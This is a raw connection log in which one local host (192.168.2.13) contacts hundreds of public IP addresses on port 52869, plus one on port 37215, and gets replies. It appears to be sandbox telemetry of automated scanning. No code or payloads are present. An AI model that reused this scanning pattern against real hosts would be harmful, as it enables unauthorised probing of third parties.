Jul 20, 2024 23:00:58.564179897 CEST	50566	52869	192.168.2.13	66.107.82.216
Jul 20, 2024 23:00:58.564179897 CEST	50566	52869	192.168.2.13	125.98.37.19
Jul 20, 2024 23:00:58.564179897 CEST	50566	52869	192.168.2.13	1.218.125.34
Jul 20, 2024 23:00:58.564179897 CEST	50566	52869	192.168.2.13	114.97.197.239
Jul 20, 2024 23:00:58.564179897 CEST	50566	52869	192.168.2.13	189.81.231.43
Jul 20, 2024 23:00:58.564373970 CEST	50566	52869	192.168.2.13	18.36.94.165
Jul 20, 2024 23:00:58.564373970 CEST	50566	52869	192.168.2.13	81.200.82.191
Jul 20, 2024 23:00:58.564373970 CEST	50566	52869	192.168.2.13	149.199.212.139
Jul 20, 2024 23:00:58.564373970 CEST	50566	52869	192.168.2.13	179.192.77.74
Jul 20, 2024 23:00:58.564373970 CEST	50566	52869	192.168.2.13	23.205.8.163
Jul 20, 2024 23:00:58.564373970 CEST	50566	52869	192.168.2.13	94.168.82.2
Jul 20, 2024 23:00:58.564373970 CEST	50566	52869	192.168.2.13	177.232.90.95
Jul 20, 2024 23:00:58.564373970 CEST	50566	52869	192.168.2.13	164.253.162.178
Jul 20, 2024 23:00:58.564757109 CEST	52869	50566	106.43.123.108	192.168.2.13
Jul 20, 2024 23:00:58.564779043 CEST	52869	50566	20.106.107.244	192.168.2.13
Jul 20, 2024 23:00:58.564794064 CEST	52869	50566	61.114.188.190	192.168.2.13
Jul 20, 2024 23:00:58.564809084 CEST	52869	50566	53.36.224.51	192.168.2.13
Jul 20, 2024 23:00:58.564822912 CEST	52869	50566	43.240.11.124	192.168.2.13
Jul 20, 2024 23:00:58.564837933 CEST	52869	50566	160.161.205.189	192.168.2.13
Jul 20, 2024 23:00:58.564852953 CEST	52869	50566	178.39.107.192	192.168.2.13
Jul 20, 2024 23:00:58.564866066 CEST	52869	50566	204.210.9.128	192.168.2.13
Jul 20, 2024 23:00:58.564894915 CEST	52869	50566	87.8.107.75	192.168.2.13
Jul 20, 2024 23:00:58.564908028 CEST	52869	50566	188.74.101.140	192.168.2.13
Jul 20, 2024 23:00:58.564920902 CEST	52869	50566	83.201.72.91	192.168.2.13
Jul 20, 2024 23:00:58.564935923 CEST	52869	50566	183.244.92.210	192.168.2.13
Jul 20, 2024 23:00:58.564949989 CEST	52869	50566	78.8.181.144	192.168.2.13
Jul 20, 2024 23:00:58.564964056 CEST	52869	50566	47.222.214.79	192.168.2.13
Jul 20, 2024 23:00:58.564976931 CEST	52869	50566	72.246.92.233	192.168.2.13
Jul 20, 2024 23:00:58.564990997 CEST	52869	50566	47.14.186.72	192.168.2.13
Jul 20, 2024 23:00:58.565005064 CEST	52869	50566	216.44.193.248	192.168.2.13
Jul 20, 2024 23:00:58.565018892 CEST	52869	50566	124.49.210.94	192.168.2.13
Jul 20, 2024 23:00:58.565032959 CEST	52869	50566	80.21.51.67	192.168.2.13
Jul 20, 2024 23:00:58.565047026 CEST	52869	50566	110.74.122.205	192.168.2.13
Jul 20, 2024 23:00:58.565627098 CEST	52869	50566	40.14.24.23	192.168.2.13
Jul 20, 2024 23:00:58.565675020 CEST	52869	50566	158.90.117.175	192.168.2.13
Jul 20, 2024 23:00:58.565707922 CEST	52869	50566	184.235.53.151	192.168.2.13
Jul 20, 2024 23:00:58.565738916 CEST	52869	50566	219.243.137.80	192.168.2.13
Jul 20, 2024 23:00:58.565756083 CEST	50566	52869	192.168.2.13	167.173.14.73
Jul 20, 2024 23:00:58.565756083 CEST	50566	52869	192.168.2.13	208.231.11.25
Jul 20, 2024 23:00:58.565756083 CEST	50566	52869	192.168.2.13	61.164.49.186
Jul 20, 2024 23:00:58.565756083 CEST	50566	52869	192.168.2.13	138.127.88.111
Jul 20, 2024 23:00:58.565756083 CEST	50566	52869	192.168.2.13	216.191.207.19
Jul 20, 2024 23:00:58.565756083 CEST	50566	52869	192.168.2.13	200.250.160.249
Jul 20, 2024 23:00:58.565756083 CEST	50566	52869	192.168.2.13	216.204.83.196
Jul 20, 2024 23:00:58.565756083 CEST	50566	52869	192.168.2.13	216.119.27.164
Jul 20, 2024 23:00:58.565771103 CEST	52869	50566	122.26.122.109	192.168.2.13
Jul 20, 2024 23:00:58.565800905 CEST	52869	50566	76.214.57.173	192.168.2.13
Jul 20, 2024 23:00:58.565830946 CEST	52869	50566	58.234.199.253	192.168.2.13
Jul 20, 2024 23:00:58.565860033 CEST	52869	50566	79.212.148.111	192.168.2.13
Jul 20, 2024 23:00:58.565891027 CEST	52869	50566	92.60.201.159	192.168.2.13
Jul 20, 2024 23:00:58.565920115 CEST	52869	50566	128.199.8.22	192.168.2.13
Jul 20, 2024 23:00:58.565949917 CEST	52869	50566	2.24.106.226	192.168.2.13
Jul 20, 2024 23:00:58.565980911 CEST	52869	50566	1.212.57.243	192.168.2.13
Jul 20, 2024 23:00:58.566010952 CEST	52869	50566	35.206.55.83	192.168.2.13
Jul 20, 2024 23:00:58.566040039 CEST	52869	50566	219.208.149.193	192.168.2.13
Jul 20, 2024 23:00:58.566068888 CEST	52869	50566	180.115.139.253	192.168.2.13
Jul 20, 2024 23:00:58.566097975 CEST	52869	50566	77.190.202.82	192.168.2.13
Jul 20, 2024 23:00:58.566128016 CEST	52869	50566	126.183.144.210	192.168.2.13
Jul 20, 2024 23:00:58.566158056 CEST	52869	50566	57.53.68.209	192.168.2.13
Jul 20, 2024 23:00:58.566185951 CEST	52869	50566	50.236.24.191	192.168.2.13
Jul 20, 2024 23:00:58.566186905 CEST	50566	52869	192.168.2.13	208.184.42.77
Jul 20, 2024 23:00:58.566186905 CEST	50566	52869	192.168.2.13	92.53.90.114
Jul 20, 2024 23:00:58.566186905 CEST	50566	52869	192.168.2.13	177.45.38.44
Jul 20, 2024 23:00:58.566186905 CEST	50566	52869	192.168.2.13	179.130.41.148
Jul 20, 2024 23:00:58.566186905 CEST	50566	52869	192.168.2.13	156.112.183.236
Jul 20, 2024 23:00:58.566186905 CEST	50566	52869	192.168.2.13	109.34.203.125
Jul 20, 2024 23:00:58.566186905 CEST	50566	52869	192.168.2.13	84.243.9.12
Jul 20, 2024 23:00:58.566186905 CEST	50566	52869	192.168.2.13	52.66.229.107
Jul 20, 2024 23:00:58.566215038 CEST	52869	50566	13.232.225.193	192.168.2.13
Jul 20, 2024 23:00:58.566248894 CEST	52869	50566	115.52.50.250	192.168.2.13
Jul 20, 2024 23:00:58.566278934 CEST	52869	50566	154.241.18.163	192.168.2.13
Jul 20, 2024 23:00:58.566324949 CEST	50566	52869	192.168.2.13	139.223.137.183
Jul 20, 2024 23:00:58.566324949 CEST	50566	52869	192.168.2.13	165.225.180.240
Jul 20, 2024 23:00:58.566324949 CEST	50566	52869	192.168.2.13	103.180.198.135
Jul 20, 2024 23:00:58.566324949 CEST	50566	52869	192.168.2.13	212.147.152.7
Jul 20, 2024 23:00:58.566324949 CEST	50566	52869	192.168.2.13	152.132.82.77
Jul 20, 2024 23:00:58.566324949 CEST	50566	52869	192.168.2.13	201.107.191.225
Jul 20, 2024 23:00:58.566324949 CEST	50566	52869	192.168.2.13	23.174.204.79
Jul 20, 2024 23:00:58.566324949 CEST	50566	52869	192.168.2.13	62.32.90.242
Jul 20, 2024 23:00:58.566338062 CEST	52869	50566	165.40.111.49	192.168.2.13
Jul 20, 2024 23:00:58.566373110 CEST	52869	50566	112.136.148.134	192.168.2.13
Jul 20, 2024 23:00:58.566404104 CEST	52869	50566	60.17.2.252	192.168.2.13
Jul 20, 2024 23:00:58.566435099 CEST	52869	50566	85.119.116.161	192.168.2.13
Jul 20, 2024 23:00:58.566463947 CEST	52869	50566	80.49.148.206	192.168.2.13
Jul 20, 2024 23:00:58.566493988 CEST	52869	50566	106.194.122.151	192.168.2.13
Jul 20, 2024 23:00:58.566523075 CEST	52869	50566	119.98.5.56	192.168.2.13
Jul 20, 2024 23:00:58.566553116 CEST	52869	50566	71.163.97.163	192.168.2.13
Jul 20, 2024 23:00:58.566581964 CEST	52869	50566	64.225.124.7	192.168.2.13
Jul 20, 2024 23:00:58.566612959 CEST	52869	50566	32.227.60.125	192.168.2.13
Jul 20, 2024 23:00:58.566642046 CEST	52869	50566	128.25.16.1	192.168.2.13
Jul 20, 2024 23:00:58.566670895 CEST	52869	50566	188.112.111.250	192.168.2.13
Jul 20, 2024 23:00:58.566699982 CEST	52869	50566	84.50.117.185	192.168.2.13
Jul 20, 2024 23:00:58.566729069 CEST	52869	50566	95.49.112.227	192.168.2.13
Jul 20, 2024 23:00:58.566760063 CEST	52869	50566	107.240.237.92	192.168.2.13
Jul 20, 2024 23:00:58.566790104 CEST	52869	50566	206.239.43.25	192.168.2.13
Jul 20, 2024 23:00:58.566819906 CEST	52869	50566	47.206.114.161	192.168.2.13
Jul 20, 2024 23:00:58.566848993 CEST	52869	50566	153.228.1.122	192.168.2.13
Jul 20, 2024 23:00:58.566878080 CEST	52869	50566	130.52.89.119	192.168.2.13
Jul 20, 2024 23:00:58.566905975 CEST	52869	50566	172.48.61.126	192.168.2.13
Jul 20, 2024 23:00:58.566935062 CEST	52869	50566	205.42.188.114	192.168.2.13
Jul 20, 2024 23:00:58.566962957 CEST	52869	50566	2.28.103.200	192.168.2.13
Jul 20, 2024 23:00:58.566992998 CEST	52869	50566	177.163.100.239	192.168.2.13
Jul 20, 2024 23:00:58.567044020 CEST	52869	50566	61.243.237.42	192.168.2.13
Jul 20, 2024 23:00:58.567081928 CEST	52869	50566	45.82.22.110	192.168.2.13
Jul 20, 2024 23:00:58.567114115 CEST	52869	50566	2.140.192.19	192.168.2.13
Jul 20, 2024 23:00:58.567145109 CEST	52869	50566	189.137.25.66	192.168.2.13
Jul 20, 2024 23:00:58.567154884 CEST	50566	52869	192.168.2.13	160.105.21.135
Jul 20, 2024 23:00:58.567154884 CEST	50566	52869	192.168.2.13	106.108.51.249
Jul 20, 2024 23:00:58.567154884 CEST	50566	52869	192.168.2.13	223.21.128.46
Jul 20, 2024 23:00:58.567154884 CEST	50566	52869	192.168.2.13	218.164.204.153
Jul 20, 2024 23:00:58.567154884 CEST	50566	52869	192.168.2.13	136.63.112.118
Jul 20, 2024 23:00:58.567154884 CEST	50566	52869	192.168.2.13	63.249.238.122
Jul 20, 2024 23:00:58.567154884 CEST	50566	52869	192.168.2.13	144.253.211.209
Jul 20, 2024 23:00:58.567154884 CEST	50566	52869	192.168.2.13	114.255.95.122
Jul 20, 2024 23:00:58.567176104 CEST	52869	50566	156.86.42.62	192.168.2.13
Jul 20, 2024 23:00:58.567205906 CEST	52869	50566	94.248.166.17	192.168.2.13
Jul 20, 2024 23:00:58.567235947 CEST	52869	50566	84.170.72.203	192.168.2.13
Jul 20, 2024 23:00:58.567265034 CEST	52869	50566	80.185.229.52	192.168.2.13
Jul 20, 2024 23:00:58.567296028 CEST	52869	50566	175.128.0.221	192.168.2.13
Jul 20, 2024 23:00:58.567327023 CEST	52869	50566	93.45.131.232	192.168.2.13
Jul 20, 2024 23:00:58.567346096 CEST	50566	52869	192.168.2.13	41.15.71.109
Jul 20, 2024 23:00:58.567346096 CEST	50566	52869	192.168.2.13	91.109.123.243
Jul 20, 2024 23:00:58.567347050 CEST	50566	52869	192.168.2.13	94.116.220.172
Jul 20, 2024 23:00:58.567347050 CEST	50566	52869	192.168.2.13	44.182.131.46
Jul 20, 2024 23:00:58.567347050 CEST	50566	52869	192.168.2.13	175.40.199.191
Jul 20, 2024 23:00:58.567347050 CEST	50566	52869	192.168.2.13	73.82.130.45
Jul 20, 2024 23:00:58.567347050 CEST	50566	52869	192.168.2.13	17.109.190.159
Jul 20, 2024 23:00:58.567347050 CEST	50566	52869	192.168.2.13	193.94.110.185
Jul 20, 2024 23:00:58.567357063 CEST	52869	50566	64.141.187.236	192.168.2.13
Jul 20, 2024 23:00:58.567387104 CEST	52869	50566	125.107.103.36	192.168.2.13
Jul 20, 2024 23:00:58.567415953 CEST	52869	50566	185.135.224.163	192.168.2.13
Jul 20, 2024 23:00:58.567416906 CEST	50566	52869	192.168.2.13	193.33.7.98
Jul 20, 2024 23:00:58.567416906 CEST	50566	52869	192.168.2.13	69.5.79.227
Jul 20, 2024 23:00:58.567416906 CEST	50566	52869	192.168.2.13	37.158.177.197
Jul 20, 2024 23:00:58.567416906 CEST	50566	52869	192.168.2.13	20.229.228.245
Jul 20, 2024 23:00:58.567416906 CEST	50566	52869	192.168.2.13	202.90.219.235
Jul 20, 2024 23:00:58.567416906 CEST	50566	52869	192.168.2.13	203.156.222.186
Jul 20, 2024 23:00:58.567416906 CEST	50566	52869	192.168.2.13	31.120.156.14
Jul 20, 2024 23:00:58.567416906 CEST	50566	52869	192.168.2.13	177.166.27.191
Jul 20, 2024 23:00:58.567449093 CEST	52869	50566	119.101.229.136	192.168.2.13
Jul 20, 2024 23:00:58.567481041 CEST	52869	50566	202.145.43.197	192.168.2.13
Jul 20, 2024 23:00:58.567512035 CEST	52869	50566	74.192.189.61	192.168.2.13
Jul 20, 2024 23:00:58.567543030 CEST	52869	50566	27.119.187.115	192.168.2.13
Jul 20, 2024 23:00:58.567572117 CEST	52869	50566	103.52.5.46	192.168.2.13
Jul 20, 2024 23:00:58.567600012 CEST	52869	50566	51.235.63.131	192.168.2.13
Jul 20, 2024 23:00:58.567630053 CEST	52869	50566	177.17.146.64	192.168.2.13
Jul 20, 2024 23:00:58.567658901 CEST	52869	50566	122.79.251.45	192.168.2.13
Jul 20, 2024 23:00:58.567688942 CEST	52869	50566	48.8.140.39	192.168.2.13
Jul 20, 2024 23:00:58.567718983 CEST	52869	50566	87.197.185.245	192.168.2.13
Jul 20, 2024 23:00:58.567745924 CEST	50566	52869	192.168.2.13	218.27.145.147
Jul 20, 2024 23:00:58.567745924 CEST	50566	52869	192.168.2.13	183.249.0.41
Jul 20, 2024 23:00:58.567745924 CEST	50566	52869	192.168.2.13	208.127.240.241
Jul 20, 2024 23:00:58.567745924 CEST	50566	52869	192.168.2.13	157.247.149.103
Jul 20, 2024 23:00:58.567745924 CEST	50566	52869	192.168.2.13	149.180.200.26
Jul 20, 2024 23:00:58.567745924 CEST	50566	52869	192.168.2.13	201.174.51.76
Jul 20, 2024 23:00:58.567747116 CEST	50566	52869	192.168.2.13	98.129.212.87
Jul 20, 2024 23:00:58.567747116 CEST	50566	52869	192.168.2.13	63.189.161.127
Jul 20, 2024 23:00:58.567749977 CEST	52869	50566	189.31.8.6	192.168.2.13
Jul 20, 2024 23:00:58.567790031 CEST	52869	50566	20.31.246.98	192.168.2.13
Jul 20, 2024 23:00:58.567821026 CEST	52869	50566	136.191.142.210	192.168.2.13
Jul 20, 2024 23:00:58.567851067 CEST	52869	50566	51.96.116.119	192.168.2.13
Jul 20, 2024 23:00:58.567881107 CEST	52869	50566	203.199.77.0	192.168.2.13
Jul 20, 2024 23:00:58.567909956 CEST	52869	50566	196.99.77.216	192.168.2.13
Jul 20, 2024 23:00:58.567939043 CEST	52869	50566	174.238.75.213	192.168.2.13
Jul 20, 2024 23:00:58.567967892 CEST	52869	50566	193.52.124.252	192.168.2.13
Jul 20, 2024 23:00:58.567996979 CEST	52869	50566	107.72.137.218	192.168.2.13
Jul 20, 2024 23:00:58.568026066 CEST	52869	50566	136.237.32.135	192.168.2.13
Jul 20, 2024 23:00:58.568053961 CEST	52869	50566	160.16.36.24	192.168.2.13
Jul 20, 2024 23:00:58.568083048 CEST	52869	50566	66.23.55.168	192.168.2.13
Jul 20, 2024 23:00:58.568113089 CEST	52869	50566	80.23.237.104	192.168.2.13
Jul 20, 2024 23:00:58.568141937 CEST	52869	50566	52.36.169.180	192.168.2.13
Jul 20, 2024 23:00:58.568171978 CEST	52869	50566	44.23.102.38	192.168.2.13
Jul 20, 2024 23:00:58.568201065 CEST	52869	50566	125.144.188.68	192.168.2.13
Jul 20, 2024 23:00:58.568229914 CEST	52869	50566	68.121.34.42	192.168.2.13
Jul 20, 2024 23:00:58.568259001 CEST	52869	50566	192.68.43.47	192.168.2.13
Jul 20, 2024 23:00:58.568291903 CEST	52869	50566	125.164.27.59	192.168.2.13
Jul 20, 2024 23:00:58.568320990 CEST	52869	50566	64.221.139.232	192.168.2.13
Jul 20, 2024 23:00:58.568348885 CEST	52869	50566	171.240.202.47	192.168.2.13
Jul 20, 2024 23:00:58.568377972 CEST	52869	50566	25.80.16.248	192.168.2.13
Jul 20, 2024 23:00:58.568407059 CEST	52869	50566	211.101.111.202	192.168.2.13
Jul 20, 2024 23:00:58.568433046 CEST	50566	52869	192.168.2.13	36.114.179.164
Jul 20, 2024 23:00:58.568433046 CEST	50566	52869	192.168.2.13	207.120.35.6
Jul 20, 2024 23:00:58.568433046 CEST	50566	52869	192.168.2.13	183.179.244.14
Jul 20, 2024 23:00:58.568433046 CEST	50566	52869	192.168.2.13	34.131.150.238
Jul 20, 2024 23:00:58.568433046 CEST	50566	52869	192.168.2.13	204.157.247.192
Jul 20, 2024 23:00:58.568433046 CEST	50566	52869	192.168.2.13	71.68.226.94
Jul 20, 2024 23:00:58.568433046 CEST	50566	52869	192.168.2.13	80.193.127.112
Jul 20, 2024 23:00:58.568433046 CEST	50566	52869	192.168.2.13	120.134.160.54
Jul 20, 2024 23:00:58.568471909 CEST	52869	50566	153.155.108.234	192.168.2.13
Jul 20, 2024 23:00:58.568545103 CEST	52869	50566	165.129.147.159	192.168.2.13
Jul 20, 2024 23:00:58.568573952 CEST	52869	50566	180.65.20.59	192.168.2.13
Jul 20, 2024 23:00:58.568603039 CEST	52869	50566	128.41.52.94	192.168.2.13
Jul 20, 2024 23:00:58.568636894 CEST	52869	50566	69.104.48.74	192.168.2.13
Jul 20, 2024 23:00:58.568666935 CEST	52869	50566	47.216.151.83	192.168.2.13
Jul 20, 2024 23:00:58.568696022 CEST	52869	50566	218.20.101.200	192.168.2.13
Jul 20, 2024 23:00:58.568725109 CEST	52869	50566	99.53.31.152	192.168.2.13
Jul 20, 2024 23:00:58.568753958 CEST	52869	50566	118.77.193.45	192.168.2.13
Jul 20, 2024 23:00:58.568783998 CEST	52869	50566	82.109.129.250	192.168.2.13
Jul 20, 2024 23:00:58.568813086 CEST	52869	50566	37.147.105.215	192.168.2.13
Jul 20, 2024 23:00:58.568830967 CEST	52869	50566	47.213.153.93	192.168.2.13
Jul 20, 2024 23:00:58.568844080 CEST	52869	50566	99.98.60.23	192.168.2.13
Jul 20, 2024 23:00:58.568857908 CEST	52869	50566	199.27.45.116	192.168.2.13
Jul 20, 2024 23:00:58.568871021 CEST	52869	50566	77.151.45.7	192.168.2.13
Jul 20, 2024 23:00:58.568885088 CEST	52869	50566	8.92.236.109	192.168.2.13
Jul 20, 2024 23:00:58.568898916 CEST	52869	50566	174.151.133.218	192.168.2.13
Jul 20, 2024 23:00:58.568912029 CEST	52869	50566	44.43.53.120	192.168.2.13
Jul 20, 2024 23:00:58.568926096 CEST	52869	50566	123.54.34.16	192.168.2.13
Jul 20, 2024 23:00:58.568939924 CEST	52869	50566	52.193.141.176	192.168.2.13
Jul 20, 2024 23:00:58.568953991 CEST	52869	50566	125.100.54.174	192.168.2.13
Jul 20, 2024 23:00:58.568967104 CEST	52869	50566	141.92.48.163	192.168.2.13
Jul 20, 2024 23:00:58.568980932 CEST	52869	50566	154.238.207.143	192.168.2.13
Jul 20, 2024 23:00:58.568995953 CEST	52869	50566	200.151.2.187	192.168.2.13
Jul 20, 2024 23:00:58.569011927 CEST	52869	50566	203.78.23.158	192.168.2.13
Jul 20, 2024 23:00:58.569025993 CEST	52869	50566	170.157.248.9	192.168.2.13
Jul 20, 2024 23:00:58.569040060 CEST	52869	50566	216.241.15.75	192.168.2.13
Jul 20, 2024 23:00:58.569053888 CEST	52869	50566	35.184.178.90	192.168.2.13
Jul 20, 2024 23:00:58.569067001 CEST	52869	50566	44.132.115.96	192.168.2.13
Jul 20, 2024 23:00:58.569082975 CEST	52869	50566	39.27.250.37	192.168.2.13
Jul 20, 2024 23:00:58.569097042 CEST	52869	50566	68.212.46.170	192.168.2.13
Jul 20, 2024 23:00:58.569109917 CEST	52869	50566	135.166.38.24	192.168.2.13
Jul 20, 2024 23:00:58.569123983 CEST	52869	50566	159.49.210.209	192.168.2.13
Jul 20, 2024 23:00:58.569137096 CEST	52869	50566	1.182.170.234	192.168.2.13
Jul 20, 2024 23:00:58.569150925 CEST	52869	50566	9.27.53.209	192.168.2.13
Jul 20, 2024 23:00:58.569164038 CEST	52869	50566	129.129.114.137	192.168.2.13
Jul 20, 2024 23:00:58.569178104 CEST	52869	50566	97.73.103.191	192.168.2.13
Jul 20, 2024 23:00:58.569191933 CEST	52869	50566	146.202.183.226	192.168.2.13
Jul 20, 2024 23:00:58.569205999 CEST	52869	50566	164.103.112.227	192.168.2.13
Jul 20, 2024 23:00:58.569219112 CEST	52869	50566	140.3.48.59	192.168.2.13
Jul 20, 2024 23:00:58.569233894 CEST	52869	50566	218.127.224.225	192.168.2.13
Jul 20, 2024 23:00:58.569247007 CEST	52869	50566	186.200.127.168	192.168.2.13
Jul 20, 2024 23:00:58.569261074 CEST	52869	50566	75.230.189.233	192.168.2.13
Jul 20, 2024 23:00:58.569276094 CEST	52869	50566	83.246.55.163	192.168.2.13
Jul 20, 2024 23:00:58.569289923 CEST	52869	50566	94.115.107.9	192.168.2.13
Jul 20, 2024 23:00:58.569303036 CEST	52869	50566	133.2.222.184	192.168.2.13
Jul 20, 2024 23:00:58.569318056 CEST	52869	50566	25.165.116.161	192.168.2.13
Jul 20, 2024 23:00:58.569335938 CEST	52869	50566	193.180.100.0	192.168.2.13
Jul 20, 2024 23:00:58.569350004 CEST	52869	50566	43.227.45.146	192.168.2.13
Jul 20, 2024 23:00:58.569363117 CEST	52869	50566	36.232.58.83	192.168.2.13
Jul 20, 2024 23:00:58.569376945 CEST	52869	50566	199.90.216.200	192.168.2.13
Jul 20, 2024 23:00:58.569391012 CEST	52869	50566	57.187.233.142	192.168.2.13
Jul 20, 2024 23:00:58.569405079 CEST	52869	50566	57.159.28.229	192.168.2.13
Jul 20, 2024 23:00:58.569418907 CEST	52869	50566	61.188.220.39	192.168.2.13
Jul 20, 2024 23:00:58.569432974 CEST	52869	50566	171.10.210.242	192.168.2.13
Jul 20, 2024 23:00:58.569447041 CEST	52869	50566	122.195.113.112	192.168.2.13
Jul 20, 2024 23:00:58.569459915 CEST	52869	50566	153.157.53.91	192.168.2.13
Jul 20, 2024 23:00:58.569473982 CEST	52869	50566	108.143.152.115	192.168.2.13
Jul 20, 2024 23:00:58.569487095 CEST	52869	50566	193.188.51.202	192.168.2.13
Jul 20, 2024 23:00:58.569500923 CEST	52869	50566	50.89.225.174	192.168.2.13
Jul 20, 2024 23:00:58.569514036 CEST	52869	50566	89.119.163.150	192.168.2.13
Jul 20, 2024 23:00:58.569529057 CEST	52869	50566	109.117.177.225	192.168.2.13
Jul 20, 2024 23:00:58.569542885 CEST	52869	50566	53.125.123.212	192.168.2.13
Jul 20, 2024 23:00:58.569556952 CEST	52869	50566	133.30.83.235	192.168.2.13
Jul 20, 2024 23:00:58.569571972 CEST	52869	50566	27.69.33.52	192.168.2.13
Jul 20, 2024 23:00:58.569586039 CEST	52869	50566	164.36.160.91	192.168.2.13
Jul 20, 2024 23:00:58.569600105 CEST	52869	50566	119.146.253.87	192.168.2.13
Jul 20, 2024 23:00:58.569613934 CEST	52869	50566	173.178.123.107	192.168.2.13
Jul 20, 2024 23:00:58.569622993 CEST	50566	52869	192.168.2.13	125.70.94.22
Jul 20, 2024 23:00:58.569622993 CEST	50566	52869	192.168.2.13	31.132.206.184
Jul 20, 2024 23:00:58.569622993 CEST	50566	52869	192.168.2.13	195.20.150.199
Jul 20, 2024 23:00:58.569622993 CEST	50566	52869	192.168.2.13	183.195.202.85
Jul 20, 2024 23:00:58.569622993 CEST	50566	52869	192.168.2.13	43.61.45.188
Jul 20, 2024 23:00:58.569622993 CEST	50566	52869	192.168.2.13	211.242.20.87
Jul 20, 2024 23:00:58.569622993 CEST	50566	52869	192.168.2.13	202.207.165.100
Jul 20, 2024 23:00:58.569622993 CEST	50566	52869	192.168.2.13	212.168.65.122
Jul 20, 2024 23:00:58.569626093 CEST	52869	50566	72.7.221.140	192.168.2.13
Jul 20, 2024 23:00:58.569643021 CEST	52869	50566	69.143.108.77	192.168.2.13
Jul 20, 2024 23:00:58.569667101 CEST	52869	50566	208.63.205.212	192.168.2.13
Jul 20, 2024 23:00:58.569681883 CEST	52869	50566	150.160.228.141	192.168.2.13
Jul 20, 2024 23:00:58.569694996 CEST	52869	50566	62.103.234.11	192.168.2.13
Jul 20, 2024 23:00:58.569709063 CEST	52869	50566	197.131.53.164	192.168.2.13
Jul 20, 2024 23:00:58.569721937 CEST	52869	50566	86.187.37.161	192.168.2.13
Jul 20, 2024 23:00:58.569736004 CEST	52869	50566	139.39.66.251	192.168.2.13
Jul 20, 2024 23:00:58.569749117 CEST	52869	50566	134.232.27.158	192.168.2.13
Jul 20, 2024 23:00:58.569762945 CEST	52869	50566	103.20.55.157	192.168.2.13
Jul 20, 2024 23:00:58.569776058 CEST	52869	50566	186.168.105.239	192.168.2.13
Jul 20, 2024 23:00:58.569789886 CEST	52869	50566	165.233.123.198	192.168.2.13
Jul 20, 2024 23:00:58.569802999 CEST	52869	50566	168.22.17.12	192.168.2.13
Jul 20, 2024 23:00:58.569818020 CEST	52869	50566	197.160.207.232	192.168.2.13
Jul 20, 2024 23:00:58.569832087 CEST	52869	50566	180.172.27.58	192.168.2.13
Jul 20, 2024 23:00:58.569845915 CEST	52869	50566	156.105.141.113	192.168.2.13
Jul 20, 2024 23:00:58.569859028 CEST	52869	50566	136.250.220.23	192.168.2.13
Jul 20, 2024 23:00:58.569871902 CEST	52869	50566	161.75.245.170	192.168.2.13
Jul 20, 2024 23:00:58.569885969 CEST	52869	50566	212.236.99.62	192.168.2.13
Jul 20, 2024 23:00:58.569900036 CEST	52869	50566	166.215.135.145	192.168.2.13
Jul 20, 2024 23:00:58.569914103 CEST	52869	50566	170.16.122.182	192.168.2.13
Jul 20, 2024 23:00:58.569927931 CEST	52869	50566	118.14.138.64	192.168.2.13
Jul 20, 2024 23:00:58.569943905 CEST	52869	50566	138.103.93.174	192.168.2.13
Jul 20, 2024 23:00:58.569957972 CEST	52869	50566	196.182.26.8	192.168.2.13
Jul 20, 2024 23:00:58.569973946 CEST	52869	50566	72.73.27.176	192.168.2.13
Jul 20, 2024 23:00:58.570002079 CEST	52869	50566	25.163.230.218	192.168.2.13
Jul 20, 2024 23:00:58.570015907 CEST	52869	50566	213.255.120.228	192.168.2.13
Jul 20, 2024 23:00:58.570030928 CEST	52869	50566	129.83.140.88	192.168.2.13
Jul 20, 2024 23:00:58.570044994 CEST	52869	50566	188.245.142.237	192.168.2.13
Jul 20, 2024 23:00:58.570058107 CEST	52869	50566	196.106.32.84	192.168.2.13
Jul 20, 2024 23:00:58.570075035 CEST	52869	50566	13.30.145.14	192.168.2.13
Jul 20, 2024 23:00:58.570089102 CEST	52869	50566	180.68.201.82	192.168.2.13
Jul 20, 2024 23:00:58.570101976 CEST	52869	50566	168.7.252.176	192.168.2.13
Jul 20, 2024 23:00:58.570116043 CEST	52869	50566	41.74.69.2	192.168.2.13
Jul 20, 2024 23:00:58.570130110 CEST	52869	50566	102.15.208.230	192.168.2.13
Jul 20, 2024 23:00:58.570207119 CEST	50566	52869	192.168.2.13	66.216.143.248
Jul 20, 2024 23:00:58.570207119 CEST	50566	52869	192.168.2.13	134.60.39.33
Jul 20, 2024 23:00:58.570207119 CEST	50566	52869	192.168.2.13	177.135.32.145
Jul 20, 2024 23:00:58.570207119 CEST	50566	52869	192.168.2.13	23.254.169.47
Jul 20, 2024 23:00:58.570207119 CEST	50566	52869	192.168.2.13	43.66.249.115
Jul 20, 2024 23:00:58.570207119 CEST	50566	52869	192.168.2.13	59.83.210.251
Jul 20, 2024 23:00:58.570207119 CEST	50566	52869	192.168.2.13	167.128.57.68
Jul 20, 2024 23:00:58.570207119 CEST	50566	52869	192.168.2.13	97.201.16.35
Jul 20, 2024 23:00:58.570230961 CEST	52869	50566	31.162.116.159	192.168.2.13
Jul 20, 2024 23:00:58.570245028 CEST	52869	50566	18.36.94.165	192.168.2.13
Jul 20, 2024 23:00:58.570554018 CEST	50566	52869	192.168.2.13	91.161.176.57
Jul 20, 2024 23:00:58.570554018 CEST	50566	52869	192.168.2.13	201.60.102.113
Jul 20, 2024 23:00:58.570554018 CEST	50566	52869	192.168.2.13	152.74.241.211
Jul 20, 2024 23:00:58.570554018 CEST	50566	52869	192.168.2.13	34.152.90.112
Jul 20, 2024 23:00:58.570554018 CEST	50566	52869	192.168.2.13	115.61.29.108
Jul 20, 2024 23:00:58.570554018 CEST	50566	52869	192.168.2.13	143.233.14.185
Jul 20, 2024 23:00:58.570554018 CEST	32874	37215	192.168.2.13	41.56.118.161
Jul 20, 2024 23:00:58.570554018 CEST	50566	52869	192.168.2.13	166.157.8.210
Jul 20, 2024 23:00:58.571801901 CEST	50566	52869	192.168.2.13	102.59.161.249
Jul 20, 2024 23:00:58.571801901 CEST	50566	52869	192.168.2.13	154.83.33.92
Jul 20, 2024 23:00:58.571803093 CEST	50566	52869	192.168.2.13	209.130.209.72
Jul 20, 2024 23:00:58.571803093 CEST	50566	52869	192.168.2.13	132.85.230.25
Jul 20, 2024 23:00:58.571803093 CEST	50566	52869	192.168.2.13	167.229.109.178
Jul 20, 2024 23:00:58.571803093 CEST	50566	52869	192.168.2.13	213.211.196.140
Jul 20, 2024 23:00:58.571803093 CEST	50566	52869	192.168.2.13	72.92.189.251
Jul 20, 2024 23:00:58.571803093 CEST	50566	52869	192.168.2.13	101.55.180.113
Jul 20, 2024 23:00:58.571891069 CEST	50566	52869	192.168.2.13	118.198.234.136
